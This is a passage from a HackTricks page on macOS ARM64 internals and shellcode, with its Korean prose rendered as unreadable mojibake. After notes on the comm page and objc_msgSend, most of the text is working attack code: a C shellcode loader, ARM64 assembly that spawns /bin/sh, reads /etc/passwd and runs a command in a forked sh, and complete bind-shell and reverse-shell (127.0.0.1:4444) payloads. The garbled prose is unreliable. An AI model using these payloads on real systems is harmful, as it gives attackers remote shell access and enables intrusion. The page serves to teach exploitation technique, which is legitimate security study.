XNU๋ machine dependent(๋จธ์ ์ข ์)์ด๋ผ๊ณ ๋ถ๋ฆฌ๋ ๋ ๋ค๋ฅธ ์ ํ์ ํธ์ถ์ ์ง์ํฉ๋๋ค. ์ด๋ฌํ ํธ์ถ๋ค์ ๋ฒํธ๋ ์ํคํ ์ฒ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ฉฐ, ํธ์ถ๋ช ์ด๋ ๋ฒํธ๊ฐ ๊ณ ์ ๋์ด ์์ง ์์ต๋๋ค.
comm page
์ด๊ฒ์ ์ปค๋ ์์ ์ ๋ฉ๋ชจ๋ฆฌ ํ์ด์ง๋ก, ๋ชจ๋ ์ฌ์ฉ์ ํ๋ก์ธ์ค์ ์ฃผ์ ๊ณต๊ฐ์ ๋งคํ๋ฉ๋๋ค. ์์ฃผ ์ฌ์ฉ๋์ด syscalls๋ฅผ ํตํด ์ ํํ๋ ๊ฒ์ด ๋งค์ฐ ๋นํจ์จ์ ์ผ ์ ๋์ธ ์ปค๋ ์๋น์ค์ ๊ฒฝ์ฐ, ์ฌ์ฉ์ ๋ชจ๋์์ ์ปค๋ ๊ณต๊ฐ์ผ๋ก์ ์ ํ์ syscalls๋ฅผ ์ฌ์ฉํ๋ ๊ฒ๋ณด๋ค ๋ ๋น ๋ฅด๊ฒ ํ๊ธฐ ์ํด ์ค๊ณ๋์์ต๋๋ค.
์๋ฅผ ๋ค์ด gettimeofdate ํธ์ถ์ comm page์์ timeval ๊ฐ์ ์ง์ ์ฝ์ต๋๋ค.
objc_msgSend
Objective-C ๋๋ Swift ํ๋ก๊ทธ๋จ์์ ์ด ํจ์๊ฐ ์ฌ์ฉ๋๋ ๊ฒ์ ๋งค์ฐ ํํ ๋ณผ ์ ์์ต๋๋ค. ์ด ํจ์๋ Objective-C ๊ฐ์ฒด์ ๋ฉ์๋๋ฅผ ํธ์ถํ ์ ์๊ฒ ํด์ค๋๋ค.
Parameters (more info in the docs):
- x0: self -> ์ธ์คํด์ค๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ
- x1: op -> ๋ฉ์๋์ Selector
- x2โฆ -> ํธ์ถ๋ ๋ฉ์๋์ ๋๋จธ์ง ์ธ์๋ค
๋ฐ๋ผ์, ์ด ํจ์๋ก ๋ถ๊ธฐํ๊ธฐ ์ ์ breakpoint๋ฅผ ๊ฑธ์ด๋๋ฉด lldb์์ ๋ฌด์์ด ํธ์ถ๋๋์ง ์ฝ๊ฒ ์ฐพ์ ์ ์์ต๋๋ค(์ด ์์ ์์๋ ๊ฐ์ฒด๊ฐ ๋ช
๋ น์ ์คํํ NSConcreteTask์ ๊ฐ์ฒด๋ฅผ ํธ์ถํฉ๋๋ค):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
Tip
ํ๊ฒฝ ๋ณ์
NSObjCMessageLoggingEnabled=1๋ฅผ ์ค์ ํ๋ฉด ์ด ํจ์๊ฐ ํธ์ถ๋ ๋/tmp/msgSends-pid๊ฐ์ ํ์ผ์ ๊ธฐ๋กํ ์ ์์ต๋๋ค.๋ํ,
OBJC_HELP=1๋ฅผ ์ค์ ํ๊ณ ์ด๋ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ฉด ํน์ Objc-C ๋์์ด ๋ฐ์ํ ๋ ๋ก๊ทธ๋ฅผ ๋จ๊ธฐ๊ธฐ ์ํด ์ฌ์ฉํ ์ ์๋ ๋ค๋ฅธ ํ๊ฒฝ ๋ณ์๋ค์ ํ์ธํ ์ ์์ต๋๋ค.
์ด ํจ์๊ฐ ํธ์ถ๋๋ฉด, ์ง์ ๋ ์ธ์คํด์ค์์ ํธ์ถ๋ ๋ฉ์๋๋ฅผ ์ฐพ์์ผ ํ๋ฉฐ, ์ด๋ฅผ ์ํด ๋ค์๊ณผ ๊ฐ์ ์ฌ๋ฌ ๊ฒ์์ด ์ํ๋ฉ๋๋ค:
- Perform optimistic cache lookup:
- If successful, done
- Acquire runtimeLock (read)
- If (realize && !cls->realized) ํด๋์ค ์ค์ฒดํ(realize)
- If (initialize && !cls->initialized) ํด๋์ค ์ด๊ธฐํ(initialize)
- Try class own cache:
- If successful, done
- Try class method list:
- If found, fill cache and done
- Try superclass cache:
- If successful, done
- Try superclass method list:
- If found, fill cache and done
- If (resolver) try method resolver, and repeat from class lookup
- If still here (= all else has failed) try forwarder
Shellcodes
์ปดํ์ผํ๋ ค๋ฉด:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
๋ฐ์ดํธ๋ฅผ ์ถ์ถํ๋ ค๋ฉด:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
์๋ก์ด macOS์ ๊ฒฝ์ฐ:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
shellcode๋ฅผ ํ ์คํธํ๋ C ์ฝ๋
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #includeint (*sc)();
char shellcode[] = โ
int main(int argc, char **argv) { printf(โ[>] Shellcode Length: %zd Bytes\nโ, strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror(โmmapโ); exit(-1); } printf(โ[+] SUCCESS: mmap\nโ); printf(โ |-> Return = %p\nโ, ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf(โ[+] SUCCESS: memcpy\nโ); printf(โ |-> Return = %p\nโ, dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror(โmprotectโ); exit(-1); } printf(โ[+] SUCCESS: mprotect\nโ); printf(โ |-> Return = %d\nโ, status);
printf(โ[>] Trying to execute shellcodeโฆ\nโ);
sc = ptr; sc();
return 0; }
</details>
#### Shell
์ด ์ฝ๋๋ [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)์์ ๊ฐ์ ธ์จ ๊ฒ์ด๋ฉฐ ์ค๋ช
ํฉ๋๋ค.
{{#tabs}}
{{#tab name="with adr"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{{#endtab}}
{{#tab name=โwith stackโ}}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
{{#endtab}}
{{#tab name=โwith adr for linuxโ}}
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{{#endtab}} {{#endtabs}}
cat์ผ๋ก ์ฝ๊ธฐ
๋ชฉํ๋ execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)๋ฅผ ์คํํ๋ ๊ฒ์ด๋ฏ๋ก, ๋ ๋ฒ์งธ ์ธ์(x1)๋ ํ๋ผ๋ฏธํฐ๋ค์ ๋ฐฐ์ด์ด๋ฉฐ(๋ฉ๋ชจ๋ฆฌ ์์์๋ ์ด๋ ์ฃผ์๋ค์ ์คํ์ ์๋ฏธํ๋ค).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
fork์์ sh๋ก ๋ช ๋ น์ ์คํํ์ฌ ๋ฉ์ธ ํ๋ก์ธ์ค๊ฐ ์ข ๋ฃ๋์ง ์๋๋ก ํ๊ธฐ
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell์ https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s์์ ๊ฐ์ ธ์จ ๊ฒ์ผ๋ก, port 4444์์ ์คํ๋ฉ๋๋ค.
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
์ถ์ฒ: https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell์ 127.0.0.1:4444๋ก
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


